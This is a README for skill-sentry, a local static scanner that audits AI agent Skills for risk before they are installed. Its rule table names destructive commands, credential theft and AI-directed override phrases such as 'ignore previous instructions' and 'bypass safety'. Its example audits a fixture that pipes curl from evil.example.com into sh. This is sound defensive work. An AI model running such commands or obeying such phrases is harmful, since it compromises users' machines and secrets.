skill-sentry

Read a Skill before it reads your machine. 在让一个 Agent Skill 碰你的电脑之前，先读懂它。

skill-sentry is a local, static, explainable pre-install audit for Agent Skills. It scans a third-party Skill's SKILL.md, scripts, config, and manifest to produce a risk report — so you can decide whether to install it. It never executes the scanned Skill and never uploads anything.

skill-sentry 是一个本地、静态、可解释的 Agent Skill 安装前审计工具。它扫描 第三方 Skill 的 SKILL.md、脚本、配置与清单，生成风险报告——帮你判断要不要装。 它不会执行被扫描的 Skill，也不会上传任何内容。

What it checks / 检查什么

Domain	Rules	Catches
Destructive	DEST	rm -rf /, wipe home, fork bomb, disk overwrite
Network	NET	outbound requests, download-and-execute pipes (curl … | sh)
Secrets	SECRET	SSH dir, private keys, AWS creds, token patterns, env collection
Obfuscation	OBF	Base64 decode, eval/exec, reflection
Injection	INJ	"ignore previous instructions", "bypass safety", "don't tell the user"
Persistence	PERSIST	shell startup files, cron, launch agents, systemd
Filesystem	FS	writes into /etc, /System, personal dirs
Domains	DOMAIN	every external host referenced (SBOM)

Every hit reports file:line, a rule_id, a reason, a confidence, and a level (INFO / REVIEW / HIGH). Heuristic hits are not the same as confirmed vulnerabilities — HIGH hits always need human review.

Install / 安装（单独安装，不捆绑）

Each Skill is installed on its own. Pick your host:

# Claude Code
git clone https://github.com/whaojie797-design/skill-sentry ~/.claude/skills/skill-sentry

# Cursor
git clone https://github.com/whaojie797-design/skill-sentry ~/.cursor/skills/skill-sentry

# Codex / OpenAI
git clone https://github.com/whaojie797-design/skill-sentry ~/.codex/skills/skill-sentry

# Gemini CLI
git clone https://github.com/whaojie797-design/skill-sentry ~/.gemini/skills/skill-sentry

Quick start / 快速开始

python scripts/audit_skill.py <path-to-a-skill>

Outputs (in the Skill directory, or --out DIR):

• SKILL_AUDIT.md — human-readable report
• skill-sbom.json — files, scripts, domains, permission surface
• policy-result.json — CI-friendly pass/fail

Real example / 真实示例

Auditing a Skill whose installer runs curl https://evil.example.com/setup.sh | sh:

$ python scripts/audit_skill.py tests/fixtures/13-curl-pipe-sh
skill-sentry: scanned 1 files
  HIGH=1 REVIEW=0 INFO=0
  policy: FAIL (max level HIGH)

SKILL_AUDIT.md (real output):

## Findings
| Level | Rule | File:Line | Reason |
| HIGH  | NET-001 | install.sh:1 | Issues an outbound HTTP request via curl |

## External domains referenced
- `evil.example.com`

A benign Skill (local script, no network) returns 0 findings / PASS — no false alarm. That contrast is the whole point: risky Skills fail loudly, safe Skills stay clean.

Policy & CI

Add a policy.yml to fail CI on your terms:

max_level: HIGH            # fail on any HIGH finding
allow_domains:
  - api.github.com
allow_rules: []            # rule_ids to ignore after human review

python scripts/audit_skill.py <skill> --policy policy.yml --out build/

GitHub Actions runs the suite on every push/PR (see .github/workflows/test.yml).

Honesty & limits / 诚实与边界

• It does not claim a Skill is "absolutely safe".
• It does not execute the scanned Skill.
• It does not upload the scanned Skill anywhere.
• A heuristic hit is not a confirmed vulnerability. When in doubt, read the source at the cited line. See references/false-positive-playbook.md.

Resources

• references/rule-catalog.md — every rule ID and what it means
• references/false-positive-playbook.md — how to triage hits
• assets/policy.example.yml — team policy template
• tests/fixtures/ — 36 fixtures (safe, false-positive, dangerous, boundary)

License

MIT — Copyright (c) 2026 whaojie797-design.